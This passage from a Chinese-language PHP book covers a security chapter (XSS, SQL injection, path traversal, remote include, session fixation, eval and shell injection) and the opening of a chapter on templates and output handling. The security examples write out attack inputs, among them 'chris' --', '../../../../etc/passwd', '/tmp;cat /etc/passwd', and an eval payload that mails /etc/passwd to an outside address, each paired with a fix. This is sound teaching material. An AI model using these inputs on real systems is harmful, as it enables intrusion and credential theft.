 $char = mb_substr($value, $i, 1);

 if ($char == '/') {
 // Slashes are allowed in paths.
 $output .= $char;
 }
 else if (mb_strpos(self::$URL_UNRESERVED_CHARS, $char) == false) {
 // It's not in the unreserved list so it needs to be encoded.
 $output .= $this->_encodeCharacter($char, self::ENCODE_STYLE_URL);
 }
 else {
 // It's in the unreserved list so let it through.
 $output .= $char;
 }
 }

 return $output;
 }

 private function _encodeString($value, $style = self::ENCODE_STYLE_HTML) {
 if (mb_strlen($value) == 0) {
 return $value;
 }

 $characters = preg_split('/(?<!^)(?!$)/u', $value);
 $output = '';

 foreach ($characters as $c) {
 $output .= $this->_encodeCharacter($c, $style);
 }

 return $output;
 }

 private function _encodeCharacter($c, $style = self::ENCODE_STYLE_HTML) {
 if (ctype_alnum($c)) {
 return $c;
 }

 if (($style === self::ENCODE_STYLE_URL_SPECIAL) && ($c == '/' || $c == ':')) {
 return $c;
 }

 $charCode = $this->_unicodeOrdinal($c);

 $prefixes = array(
 self::ENCODE_STYLE_HTML => array('&#x', '&#x'),
 self::ENCODE_STYLE_JAVASCRIPT => array('\\x', '\\u'),
 self::ENCODE_STYLE_CSS => array('\\', '\\'),
 self::ENCODE_STYLE_URL => array('%', '%'),
 self::ENCODE_STYLE_URL_SPECIAL => array('%', '%'),
 );

 $suffixes = array(
 self::ENCODE_STYLE_HTML => ';',
 self::ENCODE_STYLE_JAVASCRIPT => '',
 self::ENCODE_STYLE_CSS => '',
 self::ENCODE_STYLE_URL => '',
 self::ENCODE_STYLE_URL_SPECIAL => '',
 );

 // if ASCII, encode with \\xHH
 if ($charCode < 256) {
 $prefix = $prefixes[$style][0];
 $suffix = $suffixes[$style];

 return $prefix . str_pad(strtoupper(dechex($charCode)), 2, '0') . $suffix;
 }

 // otherwise encode with \\uHHHH
 $prefix = $prefixes[$style][1];
 $suffix = $suffixes[$style];

 return $prefix . str_pad(strtoupper(dechex($charCode)), 4, '0') . $suffix;
 }

 private function _unicodeOrdinal($u) {
 $c = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
 $c1 = ord(substr($c, 0, 1));
 $c2 = ord(substr($c, 1, 1));

 return $c2 * 256 + $c1;
 }
}

安全漏洞

现在我们已经探讨了两种主要的保护方法,让我们转向它们试图解决的一些常见安全漏洞。

跨站脚本攻击

跨站脚本攻击(XSS)已成为最常见的 Web 应用程序安全漏洞,随着 Ajax 技术的日益流行,XSS 攻击可能会变得更加复杂和频繁发生。

跨站脚本攻击这一术语源自一个旧的漏洞利用,对于大多数现代攻击来说已经不再非常描述性或准确,这导致了一些混淆。简单来说,每当你输出未经适当转义的数据到输出的上下文中时,你的代码就容易受到漏洞攻击。例如:

echo $_POST['username'];

这是一个极端的例子,因为$_POST显然既没有经过过滤也没有转义,但它展示了这种漏洞。

XSS 攻击仅限于客户端技术可以实现的范围。在历史上,XSS 已被用来通过利用document.cookie中包含的信息来获取受害者的 cookies。

为了防止 XSS 攻击,您只需正确转义您的输出以适应输出环境:

$html = array(
 'username' => htmlentities($_POST['username'], ENT_QUOTES, "UTF-8"),
);

echo $html['username'];

您还应始终过滤输入,这在某些情况下可以提供冗余的保护(实施冗余的保护符合被称为深度防御的安全原则)。例如,如果您检查用户名以确保它是字母,并且只输出经过过滤的用户名,则不会存在 XSS 漏洞。只需确保您不依赖过滤作为防止 XSS 的主要保护措施,因为它不解决问题的根本原因。

SQL 注入

第二常见的 Web 应用程序漏洞是 SQL 注入,这是一种与 XSS 非常相似的攻击。不同之处在于,SQL 注入漏洞存在于您在 SQL 查询中使用未转义数据的任何地方。(如果这些名称更一致,XSS 可能被称为“HTML 注入”。)

以下示例演示了 SQL 注入漏洞:

$hash = hash($_POST['password']);

$sql = "SELECT count(*) FROM users
 WHERE username = '{$_POST['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

问题在于,如果用户名没有被转义,其值可以操纵 SQL 查询的格式。因为这种特定的漏洞非常常见,许多攻击者尝试使用以下用户名尝试登录到目标站点:

chris' --

攻击者喜欢使用这个用户名,因为它允许访问用户名为chris'的账户,而无需知道该账户的密码。在插入后,SQL 查询变成:

SELECT count(*)
FROM users
WHERE username = 'chris' --'
AND password = '...'";

因为两个连续的破折号(--)表示 SQL 注释的开始,所以这个查询与以下查询是相同的:

SELECT count(*)
FROM users
WHERE username = 'chris'

如果包含此代码片段的代码假设 $result 非零时登录成功,则此 SQL 注入将允许攻击者登录到任何账户,而无需知道或猜测密码。

主要通过转义输出来保护您的应用程序免受 SQL 注入的攻击:

$mysql = array();

$hash = hash($_POST['password']);
$mysql['username'] = mysql_real_escape_string($clean['username']);

$sql = "SELECT count(*) FROM users
 WHERE username = '{$mysql['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

然而,这只是确保转义的数据被解释为数据。您仍然需要过滤数据,因为像百分号(%)这样的字符在 SQL 中具有特殊含义,但不需要被转义。

防范 SQL 注入的最佳方法是使用绑定参数。以下示例演示了 PHP 的 PDO 扩展和 Oracle 数据库中绑定参数的使用:

$sql = $db->prepare("SELECT count(*) FROM users
 WHERE username = :username AND password = :hash");

$sql->bindParam(":username", $clean['username'], PDO::PARAM_STRING, 32);
$sql->bindParam(":hash", hash($_POST['password']), PDO::PARAM_STRING, 32);

因为绑定参数确保数据永远不会进入被误解的上下文(即,它永远不会被错误解释),因此不需要对用户名和密码进行转义。

文件名漏洞

构造一个指向与您预期不同的内容的文件名相当容易。例如,假设您有一个$username变量,其中包含用户通过表单字段指定的希望称呼的名称。现在假设您希望将每个用户的欢迎消息存储在目录/usr/local/lib/greetings中,以便在用户登录到您的应用程序时随时输出该消息。打印当前用户欢迎词的代码如下:

include("/usr/local/lib/greetings/{$username}");

这看起来似乎并无大碍,但如果用户选择用户名为"../../../../etc/passwd",那么现在包含欢迎语的代码将包含这个相对路径:/etc/passwd。相对路径是黑客常用的一种针对不经意脚本的常见技巧。

另一个对不慎编程者的陷阱在于,默认情况下,PHP 可以使用与打开本地文件相同的函数来打开远程文件。fopen()函数及其使用的任何内容(如include()require())都可以将 HTTP 或 FTP URL 作为文件名传递,并且将打开 URL 标识的文档。例如:

chdir("/usr/local/lib/greetings");
$fp = fopen($username, 'r');

如果$username设置为https://www.example.com/myfile,将打开远程文件而不是本地文件。

如果您允许用户告诉您要include()的文件,则情况将更糟:

$file = $_REQUEST['theme'];
include($file);

如果用户传递了theme参数为https://www.example.com/badcode.inc,并且您的variables_order包含GETPOST,您的 PHP 脚本将愉快地加载并运行远程代码。永远不要像这样使用参数作为文件名。

有几种解决方案可以解决检查文件名的问题。您可以禁用远程文件访问,使用realpath()basename()(如下所述)检查文件名,并使用open_basedir选项限制在站点文档根目录之外的文件系统访问。

检查相对路径

当您需要允许用户在应用程序中指定文件名时,您可以使用realpath()basename()函数的组合来确保文件名应该是什么。realpath()函数解析特殊标记(如...)。调用realpath()后,结果路径是一个完整的路径,然后您可以使用basename()函数仅返回路径的文件名部分。

回到我们的欢迎消息场景,这里展示了realpath()basename()的实际应用:

$filename = $_POST['username'];
$vetted = basename(realpath($filename));

if ($filename !== $vetted) {
 die("{$filename} is not a good username");
}

在这种情况下,我们已经将$filename解析为其完整路径,然后仅提取文件名。如果此值与$filename的原始值不匹配,那么我们有一个不希望使用的坏文件名。

一旦您获得了完全裸露的文件名,您可以根据合法文件的存放位置重建文件路径,并根据实际文件内容添加文件扩展名:

include("/usr/local/lib/greetings/{$filename}");

会话固定

针对会话的一个非常流行的攻击是会话固定。其流行的主要原因是这是攻击者获取有效会话标识符的最简单方法。因此,它被设计为会话劫持攻击的一个跳板。

会话固定是任何导致受害者使用攻击者选择的会话标识符的方法。最简单的例子是带有嵌入式会话标识符的链接:

<a href="http://host/login.php?PHPSESSID=1234">Log In</a>

点击此链接的受害者将恢复为标识为1234的会话,并且如果受害者继续登录,攻击者可以劫持受害者的会话以提升权限级别。

有几种变体的这种攻击,包括一些使用 cookie 来达到同样目的的攻击。幸运的是,防护措施简单、直接且一致。每当权限级别有变化时,例如用户登录时,使用session_regenerate_id()重新生成会话标识符:

if (check_auth($_POST['username'], $_POST['password'])) {
 $_SESSION['auth'] = TRUE;
 session_regenerate_id(TRUE);
}

通过确保任何登录的用户(或以任何方式提升权限级别的用户)被分配一个新的随机会话标识符,有效地防止会话固定攻击。

文件上传陷阱

文件上传结合了我们已经讨论过的两个危险:用户可修改的数据和文件系统。虽然 PHP 7 本身在处理上传文件时是安全的,但对于不谨慎的程序员来说,有几个潜在的陷阱。

不信任浏览器提供的文件名

谨慎使用浏览器发送的文件名。如果可能,不要将其用作文件系统上文件的名称。很容易让浏览器发送一个被标识为/etc/passwd/home/kevin/.forward的文件。您可以将浏览器提供的名称用于所有用户交互,但实际调用文件时应自动生成一个唯一名称。例如:

$browserName = $_FILES['image']['name'];
$tempName = $_FILES['image']['tmp_name'];

echo "Thanks for sending me {$browserName}.";

$counter++; // persistent variable
$filename = "image_{$counter}";

if (is_uploaded_file($tempName)) {
 move_uploaded_file($tempName, "/web/images/{$filename}");
}
else {
 die("There was a problem processing the file.");
}

警惕文件系统被填满

另一个陷阱是上传文件的大小。虽然您可以告诉浏览器上传文件的最大大小,但这只是建议,不能确保您的脚本不会收到更大的文件。攻击者可以通过发送足够大的文件来进行拒绝服务攻击,以填满您服务器的文件系统。

php.ini中的post_max_size配置选项设置为您希望的最大大小(以字节为单位):

post_max_size = 1024768; // one megabyte

PHP 将忽略数据负载大于此大小的请求。默认的 10 MB 可能比大多数网站需要的要大。

考虑 EGPCS 设置

默认的variables_order(EGPCS:环境变量、GETPOST、cookie、服务器)在处理GETPOST参数之前处理 cookie。这使得用户有可能发送一个 cookie,覆盖您认为包含上传文件信息的全局变量。为了避免像这样被欺骗,检查给定的文件是否确实是一个上传文件,可以使用is_uploaded_file()函数。例如:

$uploadFilepath = $_FILES['uploaded']['tmp_name'];

if (is_uploaded_file($uploadFilepath)) {
 $fp = fopen($uploadFilepath, 'r');

 if ($fp) {
 $text = fread($fp, filesize($uploadFilepath));
 fclose($fp);

 // do something with the file's contents
 }
}

PHP 提供了move_uploaded_file()函数,仅在文件是上传文件时移动文件。这比直接使用系统级函数或 PHP 的copy()函数移动文件更可取。例如,以下代码不能通过 Cookie 欺骗:

move_uploaded_file($_REQUEST['file'], "/new/name.txt");

未经授权的文件访问

如果只有您和信任的人可以登录到您的 Web 服务器,则无需担心 PHP 程序使用或创建的文件的文件权限。然而,大多数网站托管在 ISP 的机器上,存在非信任用户可以读取您的 PHP 程序创建的文件的风险。有许多技术可用于处理文件权限问题。

限制文件系统访问到特定目录

您可以设置open_basedir选项以限制 PHP 脚本对特定目录的访问。如果在您的php.ini中设置了open_basedir,PHP 将限制文件系统和 I/O 函数,使其只能在该目录或其任何子目录中操作。例如:

open_basedir = /some/path

有了这个配置,以下函数调用将成功:

unlink("/some/path/unwanted.exe");
include("/some/path/less/travelled.inc");

但这些会生成运行时错误:

$fp = fopen("/some/other/file.exe", 'r');
$dp = opendir("/some/path/../other/file.exe");

当然,一个 Web 服务器可以运行多个应用程序,每个应用程序通常将文件存储在自己的目录中。您可以像这样在httpd.conf文件中为每个虚拟主机基础上配置open_basedir

<VirtualHost 1.2.3.4>
 ServerName domainA.com
 DocumentRoot /web/sites/domainA
 php_admin_value open_basedir /web/sites/domainA
</VirtualHost>

类似地,您可以在httpd.conf中按目录或 URL 配置它:

# by directory
<Directory /home/httpd/html/app1>
 php_admin_value open_basedir /home/httpd/html/app1
</Directory>

# by URL
<Location /app2>
 php_admin_value open_basedir /home/httpd/html/app2
</Location>

只能在httpd.conf文件中设置open_basedir目录,而不能在.htaccess文件中设置,必须使用php_admin_value来设置它。

第一次就正确地获取权限

不要创建文件然后更改其权限。这会产生竞争条件,即幸运的用户可以在创建文件后但在锁定之前打开文件。相反,请使用umask()函数去除不必要的权限。例如:

umask(077); // disable ---rwxrwx
$fh = fopen("/tmp/myfile", 'w');

默认情况下,fopen()函数尝试以 0666(rw-rw-rw-)权限创建文件。首先调用umask()禁用组和其他位,只留下 0600(rw-------)。现在,当调用fopen()时,文件将以这些权限创建。

不要使用文件

因为在同一台机器上运行的所有脚本都以相同的用户身份运行,所以一个脚本创建的文件可以被另一个脚本读取,而不管哪个用户编写了该脚本。一个脚本要知道如何读取文件只需要知道该文件的名称。

没有办法改变这一点,所以最好的解决方案是不使用文件来存储应该受保护的数据;存储数据的最安全位置是在数据库中。

一个复杂的解决方法是为每个用户运行单独的 Apache 守护程序。如果您在一组 Apache 实例前面添加一个反向代理,如haproxy,您可能能够在单台机器上为 100 多个用户提供服务。然而,很少有网站这样做,因为复杂性和成本远远高于典型情况,其中一个 Apache 守护进程可以为数千用户提供 Web 页面。

保护会话文件

使用 PHP 内置的会话支持,会话信息存储在文件中。每个文件的名称是/tmp/sess_*id*,其中id是会话的名称,并由 Web 服务器用户 ID(通常是nobody)拥有。

因为所有 PHP 脚本都通过 Web 服务器以相同的用户身份运行,这意味着服务器上托管的任何 PHP 脚本都可以读取其他 PHP 站点的任何会话文件中的变量。在存储您的 PHP 代码与其他用户的 PHP 脚本共享的 ISP 服务器上的情况下,您存储在会话中的变量对其他 PHP 脚本是可见的。

更糟糕的是,服务器上的其他用户可以在会话目录/tmp中创建文件。没有任何阻止攻击者创建具有他们想要的任何变量和值的假会话文件。然后,他们可以让浏览器发送包含伪造会话名称的 cookie 给您的脚本,您的脚本将愉快地加载伪造会话文件中存储的变量。

一种解决方法是要求您的服务提供商配置其服务器,将会话文件放置在您自己的目录中。通常,这意味着 Apache httpd.conf文件中的您的VirtualHost块将包含:

php_value session.save_path /some/path

如果您的服务器具有.htaccess的功能,并且 Apache 已配置为允许您覆盖选项,则可以自行进行更改。

隐藏 PHP 库

许多黑客通过下载与 HTML 和 PHP 文件一起存储在 Web 服务器文档根目录中的包含文件或数据,了解了其弱点。为了防止这种情况发生在您身上,您只需将代码库和数据存储在服务器文档根目录之外即可。

例如,如果文档根目录是/home/httpd/html,则该目录下方的所有内容都可以通过 URL 下载。将您的库代码、配置文件、日志文件和其他数据放在该目录之外(例如/usr/local/lib/myapp)是一件简单的事情。这不会阻止 Web 服务器上的其他用户访问这些文件(参见“不要使用文件”),但它确实防止了远程用户下载这些文件。

如果必须将这些辅助文件存储在文档根目录中,您应该配置 Web 服务器拒绝对这些文件的请求。例如,这会告诉 Apache 拒绝对具有常见 PHP 包含文件扩展名.inc的任何文件的请求:

<Files ~ "\.inc$">
 Order allow,deny
 Deny from all
</Files>

防止下载 PHP 源文件的更好和更受欢迎的方法是始终使用.php扩展名。

如果您将代码库存储在与使用它们的 PHP 页面不同的目录中,您需要告诉 PHP 库的位置。要么在每个include()require()中给出代码的路径,要么更改php.ini中的include_path

include_path = ".:/usr/local/php:/usr/local/lib/myapp";

PHP 代码问题

使用eval()函数,PHP 允许脚本执行任意 PHP 代码。虽然在极少数情况下它可能有用,但允许任何用户提供的数据进入eval()调用只会引发被黑客攻击的风险。例如,以下代码是一个安全噩梦:

<html>
 <head>
 <title>Here are the keys...</title>
 </head>

 <body>
 <?php if ($_REQUEST['code']) {
 echo "Executing code...";

 eval(stripslashes($_REQUEST['code'])); // BAD!
 } ?>

 <form action="<?php echo $_SERVER['PHP_SELF']; ?>">
 <input type="text" name="code" />
 <input type="submit" name="Execute Code" />
 </form>
 </body>
</html>

此页面从表单中获取一些任意的 PHP 代码,并将其作为脚本的一部分运行。运行的代码可以访问所有的全局变量,并以脚本相同的权限运行。不难理解为什么这是一个问题。在表单中输入以下内容:

include("/etc/passwd");

绝不要这样做。确保这样的脚本永远不会安全是不可能的。

你可以通过在php.ini中的disable_functions配置选项中列出它们来全局禁用特定的函数调用,用逗号分隔。例如,你可能永远不需要system()函数,因此可以完全禁用它:

disable_functions = system

这并不会让eval()更安全,因为没有办法阻止重要变量被更改,也不能防止诸如echo()这样的内置结构被调用。

includerequireinclude_oncerequire_once的情况下,最好的方法是使用allow_url_fopen关闭远程文件访问。

在使用preg_replace()eval()/e选项时,特别是在调用中使用了任何用户输入的数据时,是很危险的。考虑以下情况:

eval("2 + {$userInput}");

这似乎相当无害。但是,假设用户输入以下值:

2; mail("l33t@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");

在这种情况下,将同时执行预期的命令和你希望避免的命令。唯一可行的解决方案是永远不要将用户提供的数据传递给eval()

Shell 命令的弱点

在你的代码中要非常谨慎使用exec()system()passthru()popen()函数以及反引号操作符(`)。shell 是一个问题,因为它识别特殊字符(例如,分号用于分隔命令)。例如,假设你的脚本包含以下行:

system("ls {$directory}");

如果用户将"/tmp;cat /etc/passwd"作为$directory参数传递,因为system()执行以下命令,你的密码文件会被显示:

ls /tmp;cat /etc/passwd

在必须将用户提供的参数传递给 shell 命令时,使用escapeshellarg()来转义字符串中具有特殊含义的序列:

$cleanedArg = escapeshellarg($directory);
system("ls {$cleanedArg}");

现在,如果用户传递"/tmp;cat /etc/passwd",实际运行的命令是:

ls '/tmp;cat /etc/passwd'

避免使用 shell 的最简单方法是在 PHP 代码中完成你想要调用的任何程序的工作,而不是调用 shell。内置函数可能比涉及 shell 的任何内容更安全。

数据加密问题

最后一个要讨论的主题是加密数据,你希望确保它不以原始形式可视化。这主要适用于网站密码,但也有其他示例,如社会保障号码(加拿大的社会保险号码)、信用卡号码和银行账号。

查看PHP 网站的常见问题页面,找到适合您特定数据加密需求的最佳方法。

更多资源

下面的资源可以帮助您深入了解代码安全性的简要介绍:

安全回顾

由于安全性是一个如此重要的问题,我们希望重申本章的主要要点,并提供一些额外的建议:

  • 过滤输入以确保您从远程来源接收的所有数据都是您期望的数据。请记住,您的过滤逻辑越严格,应用程序越安全。

  • 以上下文感知的方式转义输出,以确保您的数据不会被远程系统错误解释。

  • 始终初始化您的变量。当启用register_globals指令时,这一点尤为重要。

  • 禁用register_globalsmagic_quotes_gpcallow_url_fopen。有关这些指令的详细信息,请参阅PHP 网站

  • 每当构造文件名时,请使用basename()realpath()检查组件。

  • 将包含文件存储在文档根目录之外。最好不要使用.inc扩展名命名您的包含文件。使用.php扩展名或其他不太明显的扩展名更好。

  • 每当用户的权限级别变化时,请始终调用session_regenerate_id()

  • 每当从用户提供的组件构造文件名时,请使用basename()realpath()检查组件。

  • 不要创建文件然后更改其权限。而是设置umask()以便以正确的权限创建文件。

  • 不要使用用户提供的数据与eval(),带有/e选项的preg_replace(),或任何系统命令——exec()system()popen()passthru()和反引号操作符(`)。

接下来是什么

面对这样的潜在漏洞,您可能会想知道为什么您应该进行“Web 开发”工作。银行和投资公司几乎每天都有大量数据丢失和身份盗用的网络安全漏洞报告。至少,如果您要成为一名优秀的 Web 开发人员,您必须始终重视安全,并牢记这是一个不断变化的领域。永远不要假设您的应用程序是 100%安全的。

接下来的章节将讨论应用程序开发技术。这是另一个 Web 开发人员可以真正闪耀并减少头痛的领域。我们将涵盖代码库的使用、错误处理和性能调优等主题。

第十五章:应用技术

到目前为止,你应该对 PHP 语言的细节及其在各种常见情况下的使用有了扎实的理解。现在我们将向你展示一些在 PHP 应用中可能会有用的技术,比如代码库、模板系统、高效的输出处理、错误处理和性能调优。

代码库

正如你所见,PHP 附带了许多扩展库,将有用的功能组合成不同的包,你可以从你的脚本中访问。我们在第十章、11 章和 12 章中介绍了如何使用 GD、FPDF 和 Libxslt 扩展库。

除了使用 PHP 附带的扩展之外,你还可以创建自己的代码库,可以在网站的多个部分中使用。一般的技术是将一组相关函数存储在一个 PHP 文件中。然后,当你需要在页面中使用该功能时,你可以使用require_once()将文件的内容插入到当前脚本中。

注意

请注意,还有三种其他包含类型函数也可以使用。它们是require()include_once()include()。第二章详细讨论了这些函数。

举个例子,假设你有一组函数,可以帮助创建有效的 HTML 表单元素:你的集合中的一个函数创建一个文本字段或一个text​area(取决于你设置的最大字符数),另一个函数创建一系列弹出窗口,用于设置日期和时间,等等。与其将代码复制到许多页面中(这样做很繁琐,容易出错,并且使得难以修复函数中发现的任何错误),创建一个函数库是明智的选择。

当你将函数组合成一个代码库时,要注意在将相关函数分组和包含不经常使用的函数之间保持平衡。当你在页面中包含一个代码库时,无论你是否使用所有函数,该库中的所有函数都会被解析。PHP 的解析器很快,但不解析函数会更快。同时,你不希望将函数分散到太多的库中,导致你需要在每个页面中包含大量文件,因为文件访问速度很慢。

模板系统

模板系统 提供了一种将网页中的代码与页面布局分离的方法。在较大的项目中,模板可以用于允许设计师专门处理设计网页,程序员则专门(或多或少地)处理编程工作。模板系统的基本思想是,网页本身包含特殊的标记,这些标记将被动态内容替换。网页设计师可以创建页面的 HTML 并简单地关注布局,使用不同种类动态内容所需的适当标记。另一方面,程序员负责创建生成标记动态内容的代码。

为了更具体,让我们看一个简单的例子。考虑以下网页,询问用户提供一个名称,然后如果提供了名称,感谢用户:

<html>
 <head>
 <title>User Information</title>
 </head>

 <body>
 <?php if (!empty($_GET['name'])) {
 // do something with the supplied values ?>

 <p><font face="helvetica,arial">Thank you for filling out the form,
 <?php echo $_GET['name'] ?>.</font></p>
 <?php }
else { ?>
 <p><font face="helvetica,arial">Please enter the following information:
 </font></p>

 <form action="<?php echo $_SERVER['PHP_SELF'] ?>">
 <table>
 <tr>
 <td>Name:</td>
 <td>
 <input type="text" name="name" />
 <input type="submit" />
 </td>
 </tr>
 </table>
 </form>
<?php } ?>
</body>
</html>

将不同的 PHP 元素放置在各种布局标记中,如fonttable元素,最好由设计师处理,特别是当页面变得更复杂时。使用模板系统,我们可以将此页面拆分为多个文件,其中一些包含 PHP 代码,另一些包含布局。然后,HTML 页面将包含特殊的标记,用于放置动态内容。示例 15-1 展示了我们简单表单的新 HTML 模板页面,存储在名为 user.template 的文件中。它使用{DESTINATION}标记来指示应处理表单的脚本。

示例 15-1. 用户输入表单的 HTML 模板
<html>
 <head>
 <title>User Information</title>
 </head>

 <body>
 <p>Please enter the following information:</p>

 <form action="{DESTINATION}">
 <table>
 <tr>
 <td>Name:</td>
 <td><input type="text" name="name" /></td>
 </tr>
 </table>
 </form>
 </body>
</html>

示例 15-2 展示了感谢页面的模板,名为 thankyou.template,用户填写表单后显示。此页面使用{NAME}标记来包含用户名称的值。

示例 15-2. 感谢页面的 HTML 模板
<html>
 <head>
 <title>Thank You</title>
 </head>

 <body>
 <p>Thank you for filling out the form, {NAME}.</p>
 </body>
</html>

现在我们需要一个脚本来处理这些模板页面,填写各种标记的适当信息。示例 15-3 展示了使用这些模板的 PHP 脚本(一个用于用户尚未提供信息之前,另一个用于之后)。PHP 代码使用 fillTemplate() 函数将我们的值和模板文件连接起来。该文件名为 form_template.php

示例 15-3. 模板脚本
<?php
$bindings["DESTINATION"] = $_SERVER["PHP_SELF"];
$name = $_GET["name"];

if (!empty($name)) {
 // do something with the supplied values
 $template = "thankyou.template";
 $bindings["NAME"] = $name;
}
else {
 $template = "user.template";
}

echo fillTemplate($template, $bindings);

示例 15-4 展示了由示例 15-3 中的脚本使用的 fillTemplate() 函数。该函数接受模板文件名(相对于位于文档根目录中名为 templates 的目录),值数组以及可选指令,指示如果找到未给出值的标记该如何处理。可能的值有 delete,删除标记;comment,将标记替换为注释,指出值缺失;或其他任何内容,保留标记不变。该文件名为 func_template.php

示例 15-4. fillTemplate() 函数
<?php
function fillTemplate($name, $values = array(), $unhandled = "delete") {
 $templateFile = "{$_SERVER['DOCUMENT_ROOT']}/templates/{$name}";

 if ($file = fopen($templateFile, 'r')) {
 $template = fread($file, filesize($templateFile));
 fclose($file);
 }

 $keys = array_keys($values);

 foreach ($keys as $key) {
 // look for and replace the key everywhere it occurs in the template
 $template = str_replace("{{$key}}", $values[$key], $template);
 }

 if ($unhandled == "delete") {
 // remove remaining keys
 $template = preg_replace("/{[^ }]*}/i", "", $template);
 }
 else if ($unhandled == "comment") {
 // comment remaining keys
 $template = preg_replace("/{([^ }]*)}/i", "<!-- \\1 undefined -->", $template);
 }

 return $template;
}

显然,这个模板系统的示例有些牵强。但是如果您想象一个显示数百篇新闻文章的大型 PHP 应用程序,您可以想象使用像{HEADLINE}{BYLINE}{ARTICLE}这样的标记的模板系统可能会很有用,因为它允许设计人员创建文章页面的布局,而无需担心实际内容。

虽然模板可能减少了设计人员需要查看的 PHP 代码量,但性能有所折衷,因为每个请求都会产生从模板构建页面的成本。在每个传出页面上执行模式匹配可能会大大减慢流行网站的速度。Andrei Zmievski 的Smarty是一个高效的模板系统,通过将模板转换为直接的 PHP 代码并进行缓存,避免了大部分性能损失。它不是在每个请求上进行模板替换,而是在模板文件更改时才进行。

处理输出

PHP 主要是关于在 Web 浏览器中显示输出。因此,您可以使用几种不同的技术来更高效或更方便地处理输出。

输出缓冲

默认情况下,PHP 在执行每个命令后将echo和类似命令的结果发送到浏览器。或者,您可以使用 PHP 的输出缓冲函数将通常发送到浏览器的信息收集到缓冲区,并稍后发送(或完全丢弃)。这样可以在生成输出后指定输出的内容长度,捕获函数的输出,或者丢弃内置函数的输出。

使用ob_start()函数可以开启输出缓冲:

ob_start([*`callback`*]);

可选的callback参数是后处理输出的函数名称。如果指定了这个参数,当缓冲区刷新时,将传递收集到的输出给该函数,并且它应该返回一个字符串输出以发送到浏览器。例如,您可以使用这个功能将所有http://www.yoursite.com的出现替换为http://www.mysite.com

当启用输出缓冲时,所有输出都存储在内部缓冲区中。要获取当前缓冲区的长度和内容,请使用ob_get_length()ob_get_``contents()

$len = ob_get_length();
$contents = ob_get_contents();

如果未启用缓冲,则这些函数将返回false

有两种方法可以丢弃缓冲区中的数据。ob_clean()函数擦除输出缓冲区但不关闭后续输出的缓冲。ob_end_clean()函数擦除输出缓冲区并结束输出缓冲。

有三种方法将收集的输出发送到浏览器(这个动作称为flushing缓冲区)。ob_flush()函数将输出数据发送到 Web 服务器并清空缓冲区,但不终止输出缓冲。flush()函数不仅刷新和清空输出缓冲区,还尝试立即将数据发送到浏览器。ob_end_flush()函数将输出数据发送到 Web 服务器并结束输出缓冲。在所有情况下,如果你在ob_start()中指定了回调函数,该函数将被调用以决定确切发送到服务器的内容。

如果你的脚本在输出缓冲仍然启用的情况下结束——也就是说,你没有调用ob_end_flush()ob_end_clean()——PHP 会自动调用ob_end_flush()

以下代码收集phpinfo()函数的输出并用于确定你是否安装了 GD 图形模块:

ob_start();
 phpinfo();
 $phpinfo = ob_get_contents();
ob_end_clean();

if (strpos($phpinfo, "module_gd") === false) {
 echo "You do not have GD Graphics support in your PHP, sorry.";
}
else {
 echo "Congratulations, you have GD Graphics support!";
}

当然,检查某个特定扩展是否可用的更快、更简单的方法是选择一个你知道该扩展提供的函数,并检查它是否存在。对于 GD 扩展,你可以这样做:

if (function_exists("imagecreate")) {
 // do something useful
}

要在文档中将所有引用从http://www.yoursite.com更改为http://www.mysite.com,只需像这样包装页面:

ob_start(); ?>

Visit <a href="http://www.yoursite.com/foo/bar">our site</a> now!

<?php $contents = ob_get_contents();
ob_end_clean();

echo str_replace("`http://www.yoursite.com/`",
"`http://www.mysite.com/`", $contents);
?>

Visit <a href="http://www.mysite.com/foo/bar">our site</a> now!

另一种方法是使用回调函数。在这里,rewrite()回调修改页面的文本:

function rewrite($text) {
 return str_replace("`http://www.yoursite.com/`",
"`http://www.mysite.com/`", $text);
}

ob_start("rewrite"); ?>

Visit <a href="http://www.yoursite.com/foo/bar">our site</a> now!
Visit <a href="http://www.mysite.com/foo/bar">our site</a> now!

输出压缩

现代浏览器支持压缩网页文本;服务器发送压缩文本,浏览器解压缩它。为了自动压缩你的网页,可以像这样包装它:

ob_start("ob_gzhandler");

内置的ob_gzhandler()函数可以作为调用ob_start()的回调函数使用。它根据浏览器发送的Accept-Encoding头部压缩缓冲页面。可能的压缩技术包括gzipdeflate或无压缩。

压缩短页面很少有意义,因为压缩和解压缩所需的时间超过了直接发送未压缩文本所需的时间。然而,压缩大于 5 KB 的大页面是有意义的。

不必在每个页面顶部添加ob_start()调用,你可以在你的php.ini文件中设置output_handler选项为一个在每个页面上调用的回调函数。对于压缩,这是ob_gzhandler

性能调优

在考虑性能调优之前,先花时间确保你的代码能正常工作。一旦你有了可靠的工作代码,你可以定位较慢的部分,或者瓶颈。如果在编写代码时尝试优化代码,你会发现优化后的代码往往更难阅读,并且通常需要更多的时间编写。如果你花时间在一个实际上并不造成问题的代码部分上,那么这段时间就浪费了,特别是在未来需要维护该代码时,而你无法再阅读它时。

一旦您的代码运行正常,您可能会发现它需要进行一些优化。优化代码通常涉及两个方面:缩短执行时间和减少内存需求。

在开始优化之前,请问自己是否真的需要进行优化。太多程序员浪费了时间,纠结于一系列复杂的字符串函数调用是否比单个 Perl 正则表达式快还是慢,而这些代码所在的页面每五分钟只会被查看一次。只有当页面加载时间长到用户感觉它很慢时,才需要进行优化。通常这是一个非常受欢迎的网站的症状——如果页面请求非常频繁,生成页面所需的时间可能会决定及时交付与服务器超载之间的差异。在您的网站上可能需要等待很长时间时,您可以打赌您的访客不会花费太长时间决定在其他地方寻找信息。

一旦您确定您的页面需要优化(最好通过一些最终用户测试和观察来完成此操作),您可以继续确切地确定哪些部分较慢。您可以使用“分析”部分的技术来计时页面的各个子程序或逻辑单元。这将让您了解哪些部分生成页面所需的时间最长——这些部分是您应该集中优化工作的地方。如果一个页面需要 5 秒钟来生成,通过优化仅占总时间 0.25 秒的函数,您永远无法将其减少到 2 秒钟。确定浪费时间最多的代码块并集中关注它们。计时页面和正在优化的部分,以确保您的更改产生积极而非负面的效果。

最后,要知道何时停止。有时候,您能够让某物运行的速度有一个绝对的极限。在这些情况下,提高性能的唯一方法可能是通过引入新硬件来解决问题。解决方案可能会是更快的机器或在它们前面使用反向代理缓存的更多 Web 服务器。

基准测试

如果您正在使用 Apache,可以使用 Apache 基准测试实用工具ab进行高级性能测试。要使用它,请运行:

$ /usr/local/apache/bin/ab -c 10 -n 1000 http://localhost/info.php

